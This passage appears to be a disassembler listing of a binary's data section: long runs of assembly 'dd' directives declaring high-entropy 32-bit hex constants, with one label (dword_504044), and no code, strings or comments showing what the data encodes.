		dd 7358D7E0h, 1ACCB29Ah, 0C4651708h, 94870345h,	910713F0h
		dd 8F3C5F12h, 0CC261870h
		dd 0EA631283h, 0E70422F8h, 28176862h, 145D4284h, 0E461013Ah
		dd 97EC3A8Fh, 64D85982h, 0C0A0A275h, 6E844E37h,	0CC400F4Bh
		dd 0A438C916h, 0AD072640h, 229612ACh, 0E718491Ch, 6ADD0985h
		dd 1183574Fh, 23ED7395h, 51CA8098h, 44CBA4A5h, 212C200Ch
		dd 3C0834E3h, 0BE311E41h, 36823032h, 0F852C903h, 305E1E00h
		dd 0EA8A8CB5h, 0DC43FFD5h, 2C04D590h, 0FC87E56Bh, 421A74C2h
		dd 790AFBDh, 218F7172h,	309D107Fh, 14B881A5h, 0E08A6FEDh
		dd 4E993460h, 288002D0h, 0C8482C7Ch, 8504F4BEh,	0A3AE1D8Dh
		dd 92FAACC0h, 68212CE0h, 50E904ECh, 4430905Bh, 3C909882h
		dd 1C155101h, 69B29C6Fh, 44034461h, 0BD511DBFh,	317ED8F2h
		dd 9918E44Fh, 10A02668h, 675D33A5h, 0D4E1D6E0h,	6188322h
		dd 0CF1C2996h, 3CC31FC4h, 6218002Fh, 3A3408F9h,	0B934338Eh
		dd 94064920h, 0FE304172h, 3510785Ch, 8103D15h, 18B3F1B4h
		dd 970A6E5h, 0B6F06C38h, 0C879A860h, 0B9064C96h, 0E85D86h
		dd 34442675h, 97CA7B7Fh, 0D979C0C0h, 288C0E36h,	0FB1410B8h
		dd 0A4448108h, 5CF884DDh, 80437E88h, 0AB0098C7h, 89EE8F9Ah
		dd 1E07C594h, 2E96E5A3h, 0AB70133h, 0F00EE866h,	0B000C756h
		dd 52E789C6h, 0FE25096h, 0FA84B7A7h, 0A1D39860h, 7900E6F9h
		dd 6FC17A5Eh, 16DFD4h, 89C52494h, 98E8618Bh, 4100BE7Eh
		dd 71E03AB1h, 0ACC45Dh,	0D124F9C8h, 0AFB5E3F6h,	0C0A07C00h
		dd 3C21452Dh, 0ED780699h, 308C1703h, 0A568300h,	2438D125h
		dd 0FCAF00A8h, 500522E1h, 1300B3D5h, 0A3DB740Dh, 38F6AC08h
		dd 83007746h, 35EC637Ch, 2600B3D9h, 2AC61D62h, 9847C8h
		dd 112780EBh, 77099221h, 0D4B29407h, 43F0A61Fh,	0F02CA4h
		dd 48E60DADh, 0FE3190D0h, 0A3CF3Eh, 0F29C54AAh,	4CD5B3Ah
		dd 0EE7C0B52h, 9784A01Bh, 0AFA40700h, 8FC443A5h, 1A114C05h
		dd 0BA00A63Ch, 0EE220C01h, 0F073EADh, 27BBF98Ah, 1C9AD200h
		dd 0F4EA0029h, 934CCB32h, 0EF3F640Fh, 0E8360035h, 38FFA5F7h
		dd 27A80740h, 0F51C59h,	17BEFDDDh, 0BFB55600h, 6602AB8Eh
		dd 1DF20230h, 20453331h, 477ECEC0h, 3AD6CE0Eh, 92530054h
		dd 0F628905h, 0BF677BAFh, 8A815C00h, 0A005407h,	13D4EDFEh
		dd 1440414h, 0F90135EBh, 348A746Fh, 0D90ABE28h,	0D0594BC2h
		dd 0DFBB6700h, 2156A5h,	0B355FCA0h, 700974B7h, 0F0B86A28h
		dd 72064A00h, 0BCC9A758h, 19ED60FDh, 2AA16617h,	83037600h
		dd 0A8B43EA3h, 0C58C07Bh, 77EF3A56h, 915CD501h,	952011F8h
		dd 0F3C3EF0h, 0EE652BBCh, 0DBD1E980h, 3703CBC8h, 5C3DBA2Ah
		dd 0D9610786h, 0F13ED2D3h, 0F51AC622h, 0B7A0CC43h, 40DA21CEh
		dd 88015FF0h, 0FAA124BBh, 0ABDC004Ch, 0ADDE57E0h, 39B34600h
		dd 582BED35h, 998F06EFh, 4092371Eh, 1CFB5A00h, 89E35DAh
		dd 0B33E3B8Ah, 0CB8EB580h, 67183692h, 0D8A44C01h, 87440830h
		dd 312643Ch, 0B1C6001Ch, 920BB837h, 9E9B240Fh, 0D8E00B2h
		dd 0F21608h, 3E046AD9h,	74E3D71Bh, 0F90035E2h, 0DECF8E3Dh
		dd 4326B6Fh, 614BA80Ch,	0D91490ADh, 0F841D24h, 31E1D14Ch
		dd 1B3DA600h, 0FF007F67h, 22CFDDCh, 0FC45E9Dh, 8169ADB2h
		dd 6F9F0840h, 9398699h,	12F50F19h, 0B57A037h, 3898546Ch
		dd 1700C00Ah, 2B6A9D41h, 4F00905Dh, 325A8B7Dh, 20ABE155h
		dd 690395F4h, 0FFF2F74h, 6DB10782h, 800E0234h, 5E65DF4Dh
		dd 860D291Fh, 0C0EB390Eh, 1D942012h, 0AE37033Bh, 9289493Fh
		dd 0F8BCEAD1h, 412E7A57h, 1C009306h, 0D5823ADFh, 23440090h
		dd 0D678F5EDh, 96E43042h, 43CED900h, 226FF7BFh,	59C94A8h
		dd 40AD0F78h, 0FA390580h, 1D00804Dh, 0AC62ED0h,	5F56427Bh
		dd 0F660B0A3h, 0C75A9500h, 0CC8B4AA9h, 571003C8h, 0E61C2D4Eh
		dd 5C33A880h, 0A6D95A1Ch, 3A1D2902h, 652040B7h,	0B317E6Ch
		dd 8A964E97h, 82038B00h, 0CB028C2Ch, 505D9BBDh,	0BA13C02Eh
		dd 0EC742E3Ah, 6ED8E88h, 540FF820h, 0EE001332h,	0A05D1EF1h
		dd 576A0Ah, 0F62C7A24h,	525311Ah, 0C7350E00h, 426DA422h
		dd 9B1802C8h, 1EC96878h, 0A379A450h, 5AA45C07h,	0E11FBBCAh
		dd 69A55BECh, 0B9B5E0h,	97C7FD72h, 0E203CDD1h, 0A607F698h
		dd 0BDBC81FCh, 91989560h, 0B77800EDh, 0FE2B5340h, 0F4EF6BB8h
		dd 72009FA0h, 42985504h, 26544D89h, 80DCC722h, 0E75BD29Eh
		dd 0EF00E01Ah, 76FF131Ch, 0F0934Bh, 0C95382C2h,	81F3B439h
		dd 0C600FC75h, 0DA159608h, 7CF0F621h, 0E2460905h, 0C0203FF4h
		dd 529BE0AFh, 15C9E48h,	55EF9672h, 0DED02ADAh, 0D6AB07B1h
		dd 0F04AC6C7h, 0DCD1ECAh, 80F3253Ah, 271FE6A7h,	23599D1h
		dd 0B42E418h, 2CC0232Ch, 0D30E4BDEh, 60A8CEAAh,	394D6E7Fh
		dd 8F4000CFh, 0ECEF9BE3h, 250F3F75h, 0A196EAC4h, 0C2F553A8h
		dd 46C7E4h, 0A7B48736h,	0C0BD4F05h, 0C8AE1B1Dh,	0E32B14h
		dd 0D4648B2Eh, 24FAD7C4h, 419BCFh, 5813254Fh, 12055FD2h
		dd 2A6E8F4h, 95C014h, 1CCDEC53h, 61455Bh, 0AA27C0B0h, 151271D9h
		dd 0E7947E0h, 0E1AC9D00h, 756DABAEh, 80690F30h,	5D6FFAE2h
		dd 86840640h, 1E015792h, 0DD61A115h, 828EA69h, 58976F00h
		dd 76858670h, 0E874CA00h, 0C655A157h, 7EC512B1h, 0FD0600E9h
		dd 4EE5FFC9h, 38A28A38h, 0DB07186Eh, 131DA4Eh, 928DFC45h
		dd 21BA42D8h, 440CF40Ch, 0CD940E50h, 0DE64C700h, 4E6CE7A2h
		dd 0F487501Fh, 0AADB0098h, 4C756A69h, 9D2C0F92h, 0D80AB383h
		dd 22059CA0h, 0F4004DFFh, 11CC2A96h, 3AE80126h,	0A763732h
		dd 804ED9D1h, 154A5920h, 1DE47A17h, 44F82430h, 0A008F642h
		dd 93132178h, 0D800B4D5h, 3ACFBE0Eh, 0DFFC0140h, 944B119Fh
		dd 2F582057h, 9C01C679h, 8B716BFBh, 5AF1C179h, 69749850h
		dd 9028904Fh, 344000A9h, 80313C2Dh, 0F80F9ED6h,	0E24E7D15h
		dd 5A2E2F7Eh, 9C370034h, 29B0F2E5h, 9200C57Fh, 0AC633471h
		dd 2A0BBCCh, 58266B05h,	0C8E091ABh, 0DA03740Ch,	888DA2C4h
		dd 0DBACD8B1h, 87A601C1h, 9E0AC386h, 9C0760D8h,	5349DE0Ch
		dd 3AE0A16Bh, 74808F4Fh, 0D5E26D07h, 52F5484Bh,	54005310h
		dd 39C6D08h, 4171077Ch,	99D96BC3h, 7EE3F264h, 8FA63EA0h
		dd 486D3617h, 0BDAACD00h, 0E9E5B91Bh, 0AF95A841h, 0E868DEFCh
		dd 0E9E9C016h, 9A03F490h, 1A739D1Fh, 0CFEA8D07h, 0AF70D841h
		dd 944C908Ah, 6D150C18h, 48C1EC99h, 0B53833EEh,	0A8DFDCh
		dd 3D51798Fh, 0F3428C0Eh, 31ED4812h, 0E532CC00h, 0D71DC9h
		dd 225963E8h, 97D46B5Fh, 58750D12h, 7398A0h, 0B507BC9Ah
		dd 1C3FAF0Fh, 138D0E1Dh, 0AADD6402h, 71D0A00Bh,	0E465969Ah
		dd 0EB1538C3h, 0E864177Ch, 0CA7447A1h, 166FF108h, 8FB98025h
		dd 0D01C143Ah, 5DF33E64h, 0BAAC7804h, 5A4A88Ah,	9BA9BE2Eh
		dd 0BBAAB800h, 4EE963D9h, 0F02C06D6h, 6000879h,	908066C9h
		dd 0EF0C3812h, 0CFD146Ch, 0AB4BF004h, 42CF2848h, 7E225890h
		dd 92E62241h, 223BC122h, 7225627Dh, 9CFB1404h, 46898548h
		dd 0FD0CA0D0h, 0F6CA24Fh, 6DBAB4E1h, 56A08900h,	0F5E2ABE2h
		dd 0D03B7F8h, 0E89AF167h, 2A1F845h, 9304167Ah, 444600D9h
		dd 0BCCA3F57h, 0E9001898h, 272ABB4h, 1F1530h, 0C1076162h
		dd 0B3431BFDh, 5E4CDC90h, 7FB90164h, 554A140Eh,	3AFC1880h
		dd 32F878DAh, 43D26E05h, 0DCE09E12h, 1C11EE27h,	669576D7h
		dd 3A154000h, 78389F46h, 0D2FB80C3h, 4DA22155h,	1CA037Fh
		dd 0F7C72A5Fh
		dd 0D70CC0D4h, 3000DD32h, 0EE4E59D0h, 10A6A1Dh,	0AA31A876h
		dd 683CB3F4h, 783203B0h, 0CFBE85BBh, 21E67F70h,	3C18996Ah
		dd 4BA4869Ch, 64ACBD6Bh, 2EB01B19h, 8C0F4CE2h, 20037098h
		dd 87D7E67Eh, 541E07CBh, 0F73A5D96h, 0C06654CFh, 425125FBh
		dd 78EE591Ch, 318048F7h, 6E0458h, 144AE27Eh, 0D8C44664h
		dd 0B12F0201h, 0EFCBA027h, 7CA2074h, 981AF46Ch,	0E8925095h
		dd 0A51EC219h, 0B4C0F58Ah, 334B710Dh, 348601E9h, 5EEE6255h
		dd 9778D4E1h, 0E7FE2D00h, 4C717DD7h, 41A439C4h,	8EB5318Fh
		dd 78C5C843h, 9C7C2CA8h, 0F0286E60h, 12B1EB8h, 0CF4D1B72h
		dd 40EBF9D3h, 6183E7E4h, 705458h, 64D675DDh, 805082h, 0AFBD17EEh
		dd 0CDE97124h, 88744505h, 287B29Bh, 889D7063h, 2DCC8C3Dh
		dd 0F800FD7Dh, 46D06CD3h, 0B3C33001h, 0F2F55562h, 0D81EFC55h
		dd 0FFE7DE80h, 0EAA3A7h, 6EF9F87Dh, 5543696Ch, 5F56FCA0h
		dd 172D2800h, 37AD09E1h, 92DEFE66h, 0C8E07Ch, 0C07784EBh
		dd 387CDCA7h, 70EDA500h, 32585AA9h, 0D0161799h,	0E9E4C018h
		dd 7E38B0F4h, 5D51008Eh, 81B1EDEFh, 0CFE08Dh, 0AADFE560h
		dd 0BAEB058Ch, 90A96C00h, 0BD9E13A0h, 0C03B0FB7h, 0A1070993h
		dd 0D6917068h, 6013DFBh, 5E9C9BD3h, 6C28E82Ch, 0AA401700h
		dd 0F4165729h, 79000C9Ch, 0AFEAA943h, 0B1DC03C2h, 0E7EE5F24h
		dd 0C990D1A0h, 408C8A51h, 0FDDCE23Eh, 2EE3061Dh, 0BA9BD003h
		dd 0E0287CE8h, 3CAF008Bh, 0EA793E7Dh, 0DD0B3142h, 0D3340Bh
		dd 178F85F0h, 4C150029h, 58195637h, 0BE005901h,	0FCC9882Bh
		dd 19C3882h, 0ECEB922Fh, 0C4536964h, 1C1FA6C6h,	0E3004067h
		dd 0DE5038FAh, 3D66F49Ah, 0C88FFE34h, 4F2CB9Ch,	0B0F9043Fh
		dd 7707679Ch, 73787F53h, 0B0585F13h, 0F0758246h, 5E511C69h
		dd 0D7D8154h, 30A95A61h, 0C0014F30h, 98B8AC8Ah,	0D0F3C264h
		dd 339F83h, 0E61C885h, 7035F7E8h, 6C665326h, 623D0281h
		dd 20259FB6h, 4A3CE0h, 0F4B1BF60h, 28B5363Eh, 660165ECh
		dd 0E75AD2A0h, 88F80AB3h, 6C73005Fh, 0CAC6827Ch, 0B700644Dh
		dd 8A2A063h, 0EC030159h, 65C238ACh, 1F771EFAh, 0EE7E09A6h
		dd 82688B81h, 0F4B4D939h, 0BF00B554h, 0CFA37AFEh, 0E301F7Dh
		dd 0EEA595DDh, 548E91E0h, 90255CF9h, 40D80FF0h,	0B599E3A4h
		dd 137100AFh, 0DF857C56h, 0AA00AB65h, 819398CCh, 406286h
		dd 9B344642h, 0F930573Bh, 1C442C1Dh, 37E7D680h,	73632Fh
		dd 0C4F0B4B6h, 0D8F1A53Fh, 0C0ADE500h, 879095C9h, 6FEA0004h
		dd 5E2A1AFDh, 6C3B9362h, 0E0788141h, 0C5257516h, 79FB8ED0h
		dd 0EAD600D9h, 0D5996612h, 13000719h, 0EF92BB20h, 238276h
		dd 5E52BE7Bh, 7F750B5Ah, 0E0369E07h, 7285F7E4h,	8011821Bh
		dd 0A57E9h, 3341EACDh, 3A7AE4Ah, 71CDA03h, 0C8CAB2D4h
		dd 9DFC6Eh, 70B43378h, 0B7C3AFA0h, 0E5C96C00h, 0ABCEFACFh
		dd 6A741CACh, 6EF88036h, 0EED449F3h, 0C21CA172h, 0DC40A92Ch
		dd 0BB43DFCEh, 45F00CFh, 710BFE4Dh, 2600E667h, 6A05483Fh
		dd 11FF098h, 40FFDC06h,	64213BD7h, 1C0031D0h, 0AA2F6668h
		dd 9829A8DDh, 28535CFCh, 2862C980h, 0C4035E9Fh,	1B194BFDh
		dd 0CADA80BCh, 0BD23043Bh, 0E4A3A0EDh, 8B24F004h, 0F30134B2h
		dd 0EFD037CBh, 1D11EAF4h, 4751BA4h, 0AAF96C4Dh,	0ACA3E4C0h
		dd 0FBDC0124h, 8944BE1Fh, 59852BB0h, 0BF1C93h, 0B567625Ch
		dd 527D7CC1h, 4EAED91Eh, 6F7ACB00h, 1B1E051h, 0FE6DAFE6h
		dd 0E6619D88h, 0FA48F4C0h, 3C8FBF00h, 0BB09F33h, 0FEE10059h
		dd 997A5E83h, 674C8C77h, 0B45FC0C8h, 13DFEAE7h,	580BF4h
		dd 22AE20B8h, 0E500FCA0h, 0C1250C24h, 0F1A4F9h,	9A642B29h
		dd 0DC74E6D4h, 0FB916900h, 7A169822h, 3B4118EBh, 96D2E0ADh
		dd 0A7DFB810h, 12457026h, 0CF048162h, 7E852F30h, 4B2D7500h
		dd 78DE0B1Fh, 2B2E01DFh, 0E10E2245h, 0F3ED077h,	0F44EF900h
		dd 0D91BDA70h, 3F2E004Ah, 20D1830Bh, 6F19095Ch,	49E0786Dh
		dd 1EDE2160h, 1C089516h, 0B4F5D388h, 6300F24Ch,	0DF091BCEh
		dd 3CB75Ch, 0DD882083h,	0D7E8BF6Bh, 8700FD7Dh, 3AEB44E5h
		dd 4E984D49h, 867C40D9h, 272E9D47h, 3AF5ED00h, 37924E87h
		dd 4CB019h, 90D64A06h, 0BE72544h, 0D4813C00h, 0E564AE99h
		dd 94EC7791h, 418F80B4h, 8B3E0E68h, 9C58DF07h, 0A9BD6940h
		dd 0E7CD7ACDh, 3A9536E0h, 9A3AB7F4h, 29911275h,	0EB308068h
		dd 0EC0016FCh, 0D5EEB510h, 4AFAAF70h, 0E8F48467h, 0D0007828h
		dd 87F427E5h, 91EA76h, 94BE4A2Fh, 9502EC67h, 0A793D3Dh
		dd 0EDE31199h, 4A080939h, 8F506856h, 7A78FCD9h,	31AD81D5h
		dd 63299EE9h, 0D4ED420Fh, 2291146Ch, 9FE71950h,	211AF2C0h
		dd 7C3580D4h, 4B338DBDh, 3ECA9A00h, 6014A3D8h, 5A1A0FA9h
		dd 38782B38h, 4A0089F2h, 53CDE9Bh, 1E21035Bh, 0C0B70E81h
		dd 0BFC066BCh, 0B5FC771Dh, 6C547E00h, 0DA29E1E4h, 7C79A3h
		dd 606D7507h, 1DDCD52Dh, 7B1ECFE4h, 0BE582252h,	24A630h
		dd 62BC4FA5h, 2BB7052Fh, 0F57D570Fh, 5921A068h,	3130E11h
		dd 1F1A3EEFh, 0C0F835E3h, 5200AB2Eh, 0C2F1B657h, 3C8674Fh
		dd 35F4C645h, 4BB03D10h, 63050E1Ah, 3F18FE78h, 0F0116AC0h
		dd 0AFBF0027h, 4554B7E3h, 7CF0F3A6h, 75C46700h,	422804DAh
		dd 3D4C746Ch, 78001E14h, 1248392Ch, 0BE07279Ch,	0B0BC2FF0h
		dd 50B26024h, 0F2F4A5E4h, 13D60497h, 2686B36h, 0EAFAD468h
		dd 9C00A056h, 0FB068075h, 60E2484Eh, 0B0E83609h, 32D46C03h
		dd 82229B6h, 0E3E42276h, 22B1FC22h, 0F450ED67h,	0E0457628h
		dd 951482D2h, 84D02FECh, 3444DE09h, 0F02D44B2h,	5F784C44h
		dd 3821CA11h, 0BDF62A08h, 0C7201142h, 5C080C21h, 642494FAh
		dd 28CFD711h, 0C8107870h, 10215001h, 88FCC208h,	3894BB84h
		dd 3C7C2814h, 93A07A00h, 6B31D24Bh, 0A5C400D0h,	13E85EF8h
		dd 1103F7AAh, 9165C019h, 3D2921A1h, 915B3E08h, 0A0C6000Bh
		dd 0D4B86775h, 58870355h, 0B96482A9h, 52985FC3h, 9D3E8BB6h
		dd 0B16F0021h, 0C999C0A2h, 0D0AD00C5h, 0AEC76BE1h, 0A801CAFEh
		dd 6628A735h, 42CCDFE6h, 1FF23A9Ah, 0EA5BCC05h,	0D2508045h
		dd 5300DB18h, 0A4C37019h, 77B14B50h, 0F30D000Bh, 221A6163h
		dd 0EF004CD8h, 5CD152ECh, 98E41E4Fh, 0B97E0042h, 54A73840h
		dd 0F700A196h, 1D7D500Ah, 0D9CF26h, 97290216h, 5DCCA707h
		dd 5E79907h, 32F06882h,	0C580B9h, 0C244B536h, 668D7533h
		dd 0C0625E00h, 11965B6Dh, 0F949C31Dh, 9CD06C29h, 4E006EE8h
		dd 4C72D24h, 0EED53F59h, 0DF9071Ch, 0A025A583h,	0A22681A1h
		dd 80B03E60h, 0CE0A19h,	0FE6C95BFh, 0AC627925h,	0BC09967h
		dd 0FDE9A843h, 6518BC3h, 0F7FA54A0h, 40360418h,	61C8D5h
		dd 469507DBh, 0E8B6A37Dh, 4E696003h, 0F813EF62h, 3CBC96B3h
		dd 5B03983Dh, 0D829C682h, 0F9EB9EE8h, 942E4902h, 802238E7h
		dd 92841495h, 3DDE7579h, 8C80A07Bh, 0E559E49Bh,	231DBFEAh
		dd 0CD80B584h, 0D6991B0Eh, 0B2670061h, 36B395B4h, 0EC00C03Dh
		dd 3C4A760Fh, 0BE29963h, 4F38E06h, 0BD60D100h, 0C700B40Eh
		dd 2FF56C4Bh, 4FCBE1h, 637FCA89h, 965ABCBAh, 7642D501h
		dd 3373B830h, 0AB4BE887h, 95E06E58h, 0BA51487Ah, 2C28231Eh
		dd 7B5B4000h, 7C352EB9h, 4F5E00B4h, 6E2A0607h, 5500E660h
		dd 1923C64h, 0F35D8Bh, 0A59CFCD0h, 812C3B1Dh, 75513400h
		dd 8F870453h
		dd 0C9E3007Eh, 3260F20Dh, 151DBC16h, 0B1C3CE9Ah, 5F0AA9h
		dd 1D74DE40h, 37C16514h, 0D01E60Ah, 2800A898h, 721AE232h
		dd 669886h, 0BE9A4D70h,	0AD83676Ah, 0F4F8962Ah,	75A9ED00h
		dd 0D3702F8Ch, 0E1D90034h, 0C9593972h, 0C024F238h, 554000FDh
		dd 4BFFBh, 50C5A978h, 34ED97D2h, 16846E1Fh, 45E75A43h
		dd 0F348B0DAh, 62C01D4h, 7718C9F4h, 1B9A4243h, 919A1C40h
		dd 0E4682B88h, 5E0C00F6h, 6BFAFF86h, 1A0112E6h,	337BC01Eh
		dd 80EF2B6Eh, 0D4F7B3h,	7AEBF920h, 5ACA11F0h, 0E0C73C14h
		dd 3B6008Ch, 813542A2h,	8C52005Fh, 638007CDh, 343FC4BCh
		dd 0BED0813Ch, 0D7A86F8Bh, 7281AC0h, 788A3931h,	2CED02ADh
		dd 210711E0h, 0AEAC1200h, 93846BE0h, 8ABC001Dh,	69565822h
		dd 2C90F8DFh, 57593F00h, 3EF6922Bh, 801724ADh, 0C397076Dh
		dd 0D46BD1F4h, 0BA33201Ch, 0CA738F02h, 41FC5CACh, 32308C2Ch
		dd 84305087h, 1C671C9Fh, 3E51C05Fh, 17769585h, 4970743Ch
		dd 0E2751D08h, 1213E8DFh, 0FEB99700h, 0AA63B1h,	0C67F9809h
		dd 0A7A0BEF5h, 0D1588404h, 2C811B59h, 38E6E8BDh, 78989F67h
		dd 1452D213h, 10A1AA00h, 50B155h, 6C5648C0h, 0CBB2C52Dh
		dd 0EEAD8200h, 0BC6A1B17h, 618E00D4h, 46BFC453h, 21395D79h
		dd 0C2F4016Eh, 0F9880BD8h, 63DC1831h, 1BD0096h,	57FDB0A9h
		dd 41009B2Fh, 981B6C86h, 71FECB8h, 0CE27A25Dh, 0A8D4F03Ch
		dd 991E0571h, 315415DAh, 0F413008Ch, 0DE1AFA60h, 39100982h
		dd 2A8F6B02h, 3228803h,	0DC3C76C0h, 8706A200h, 0A5F2BD4Fh
		dd 1D9E0067h, 0E9CA439Ch, 0AB0564C2h, 5DD554B8h, 0ECB98C41h
		dd 92E87588h, 0F4CE000Fh, 160D9526h, 6209D79Ah,	0FFD564h
		dd 7423F198h, 0EE6B3FC2h, 2BF000F3h, 0CDE31D6Fh, 19C1D449h
		dd 0F4EA3A31h, 0CE5EF640h, 845D2CF3h, 71790350h, 0D9B31BC8h
		dd 213611C0h, 6D2F1903h, 0B01595FCh, 7BAA5h, 10BF7BE8h
		dd 8F59C86Fh, 20787077h, 3F26305h, 0B9802586h, 2E71D2h
		dd 0F3A0D7E9h, 0F50614ADh, 0AA577D03h, 980F9F2Bh, 525E97h
		dd 281B7F56h, 7422FE0h,	27005A98h, 0D4A2C8A9h, 8A7086h
		dd 41FC43A4h, 0B1BA42BDh, 7A008CF0h, 27212207h,	169ABC3h
		dd 428BC8B7h, 0C4E4F508h, 0D3F2AC90h, 0E0414600h, 5271E340h
		dd 0CE36000Fh, 49354DA6h, 4500EC99h, 68E6A383h,	0D3A85Ah
		dd 4D82F66Ah, 40C2119Bh, 20437307h, 0FF379527h,	1A4442C0h
		dd 1F6B0729h, 0F0EADAF4h, 0DF9BE908h, 0BA4FE31Dh, 66F611C0h
		dd 0DD1CECh, 1E8E0D85h,	0F2684841h, 0EDE8500Bh,	584410EAh
		dd 1659ECC2h, 148D748Bh, 0EF004D78h, 0C04A1489h, 0EE058218h
		dd 0C5556E9Ch, 12D310C1h, 28729D0h, 737E732h, 236047B1h
		dd 7650AEA0h, 0CA0C8FF4h, 40C10AD7h, 0ADDD1E2Fh, 0AABAC022h
		dd 62320FEh, 0C8B6CC2Ch, 46937B00h, 3E41E6E7h, 0AF805171h
		dd 0E3FD85D2h, 2077D762h, 0CA9E7B00h, 0F140971Fh, 8CE40018h
		dd 0E399446Fh, 6E007319h, 0BCF64194h, 1C4984h, 63DDAF7Eh
		dd 4FB4208Ah, 8347C13Bh, 0E39F303Ah, 9638A099h,	0B777CFh
		dd 6C073DD9h, 0A2C17181h, 67C8F300h, 0D19777Bh,	9EBC3DBFh
		dd 0B2D8B980h, 705655D5h, 0CCDF9326h, 1E08FE00h, 26FC907Fh
		dd 7B85F3Dh, 87917C2Bh,	0DECA3047h, 19007573h, 9AB977B1h
		dd 0D1A1F8h, 0AA78E5BDh, 0C696BFA3h, 0DDE0C216h, 0EDDE4005h
		dd 71FAB8C0h, 6CD2809Bh, 292E7900h, 3356013Fh, 0C0B35D67h
		dd 0FBF5B03h, 0AEB07C69h, 5109CF59h, 8136874Dh,	0D0B3C24Ch
		dd 0A4201DCDh, 48471C25h, 4C5E00EAh, 537CE3D5h,	58359F03h
		dd 0D9CCE00Dh, 0D043BAF4h, 0FF1398F7h, 8C5B800Ch, 36BD7400h
		dd 8F52987Ah, 1192001Dh, 9C20FACCh, 0F5074B05h,	68301BC0h
		dd 0A8F0BB17h, 7433CAh,	6C9B1887h, 0D4EE846Ah, 5428F500h
		dd 1B74CA1h, 877A0073h,	7939C27Bh, 5001CDDFh, 4908334Eh
		dd 0FFEC9383h, 827C00F1h, 0CAF351C8h, 450302E8h, 6278A754h
		dd 9059C8B7h, 754E005Bh, 20A39B5Ah, 8C9834B0h, 0E46F870Eh
		dd 6596066h, 1E7EBD8Dh,	987BDFh, 7DB78F0Ch, 0F07C78EAh
		dd 72AB1A00h, 8BC9C651h, 0EFB10082h, 0D6DD5EA7h, 2C797F88h
		dd 1A31E810h, 0DCC0D500h, 0BE3D5474h, 7C792300h, 0E778F8A0h
		dd 53285819h, 0B7F92200h, 365714B9h, 0E1075C1Dh, 0E22CF34Eh
		dd 4037D4CDh, 233C8EBh,	0E2C741D0h, 0B880BEECh,	972EFD4Fh
		dd 78125400h, 80ADD68Bh, 51A60031h, 2FD10486h, 49EAE503h
		dd 25384800h, 8ED0C592h, 2EDAF635h, 0F13B20h, 89F5828h
		dd 24004540h, 292748E8h, 3486B5h, 0BE512CFh, 7E2BAD9Fh
		dd 0B1000DF4h, 82B93FACh, 0EA05D7D4h, 7274001Eh, 15C1ACAh
		dd 9C01A199h, 0D5857844h, 6C30B405h, 0D4AE0043h, 5A74CA06h
		dd 7A0038B0h, 9CEB1013h, 1FF565h, 4A700D28h, 194FB24Bh
		dd 0E9618100h, 0EAD0152Dh, 4D9900F5h, 173DE8F9h, 52012343h
		dd 35026337h, 10807E14h, 2FEC6139h, 8C7C451Dh, 97CA098h
		dd 341C071Eh, 1204EE00h, 9DFFC4Bh, 3FCB2A30h, 0A42F6980h
		dd 0FB00D3A6h, 8939E033h, 456AF29h, 0E3874ECAh,	0FA4902Fh
		dd 30007D5Bh, 0BC404B91h, 0FFF36Ah, 80AFCC7Ah, 0DF62BFFCh
		dd 3D05C8F6h, 328F9C03h, 0ACD6D800h, 0B9633Ah, 0F5579267h
		dd 9436685Ah, 10C9551Eh, 0CE599780h, 1CEDA358h,	40BFBD16h
		dd 32F06A9Bh, 0A2023495h, 46B3979Dh, 2D04406Dh,	554300F9h
		dd 0C9A381AEh, 0DE22B5Ch, 0C1787200h, 0B166E988h, 0CE0501CCh
		dd 963E8348h, 0E4A0479Ah, 8268C1DEh, 30AE71B2h,	1E3CB460h
		dd 0C1990484h, 3CC3D08Ch, 0D5ADE0EBh, 0A7720068h, 0CE9553FCh
		dd 6B0071A4h, 8A50BF9Ch, 54AADF2Bh, 7673A0D3h, 0FDB90E9Bh
		dd 158E3533h, 71B2C000h, 6D00E018h, 4F09A4A8h, 3DA4864h
		dd 230E37B6h, 80C802B7h, 2D019AFEh, 0CE30266Dh,	1180A6ADh
		dd 6477BA87h, 530CC8CBh, 0C839EC02h, 59DB80Dh, 81B960DDh
		dd 0A6288019h, 0BF0265B5h, 5F455855h, 4916600Ch, 80449CE8h
		dd 0B5235AB3h, 64FE90A6h, 0ABB955Ch, 0B8C1C20Eh, 0B90731A8h
		dd 3C89A8B5h, 5561CFC1h, 26E0A0C3h, 9AE20145h, 53E6356Ch
		dd 0D6C7717Eh, 0EDB5B861h, 0F06FE9C6h, 0FF000867h, 9B39EDDCh
		dd 2E723CDBh, 9CC4BEA1h, 0D0F74683h, 120E383Eh,	4EDEBB6h
		dd 0C8C0402Bh, 932788h,	16862049h, 0DAC4040Bh, 71430912h
		dd 9C1F40C0h, 99CA050Fh, 8388BFCCh, 1E862C8h, 1E148A47h
		dd 4886F29h, 0CC3D5B3h,	0F56BECC0h, 0CA234897h,	7DD3400h
		dd 6B7B350h, 373D33F0h,	0A2E381FCh, 0C120D8B0h,	2E3CBBE8h
		dd 0BC878Ah, 2166F319h,	0EB01AF8Eh, 0E6B04CDEh,	88FC7828h
		dd 0BEB805h, 0DCD26A2h,	2290EA0Ah, 3DF6C701h, 5CD3E596h
		dd 0F786C4h, 2EEB7F14h,	0F6B79E6Dh, 70362403h, 0F58FE49h
		dd 0D4DDB419h, 976255A0h, 3772499h, 9007898h, 837313A8h
		dd 7DAC06h, 14326D52h, 2E39891h, 0DCAD331Dh, 2F1B3600h
		dd 0B83B8D34h, 47377h, 0C4CA9A35h, 60655556h, 0B31FFF77h
		dd 0B2C05E6Dh, 25AD7117h, 1EFE3Bh, 0C2392983h, 0D4D66144h
		dd 9A8AC000h, 6697F8A7h, 9328001Bh, 16C13DFEh, 7001C671h
		dd 45980AA5h, 8EC5D7Ch,	0D18E005Ah, 0EFE57881h,	0F848BF48h
		dd 255600FEh, 0FA912B65h, 2F84036Fh, 4C3AE252h,	3F7C01A8h
		dd 0D61E7B00h, 717F2005h, 0FD0B0E31h, 9EC055DEh, 0F18C13F3h
		dd 80194C3Bh, 2BF7C90Ch
dword_504044	dd 50D8Dh, 0C094B19Ch, 0E920F86Ah, 77B893Dh, 1D367367h
		dd 9746AFF0h, 0EB0800F2h, 0ED311B93h, 3D04E9E5h, 534920A0h
		dd 548CC2FBh, 0CE4A7240h, 8FB80678h, 8F74D100h,	5B95FCDBh
		dd 0E07E39A7h, 0FB97E280h, 9FDB54Ah, 238FE91Fh,	38D42100h
		dd 4B716B3h, 4366A4EDh,	4F08C2A5h, 0D2B0AAC0h, 902A8801h
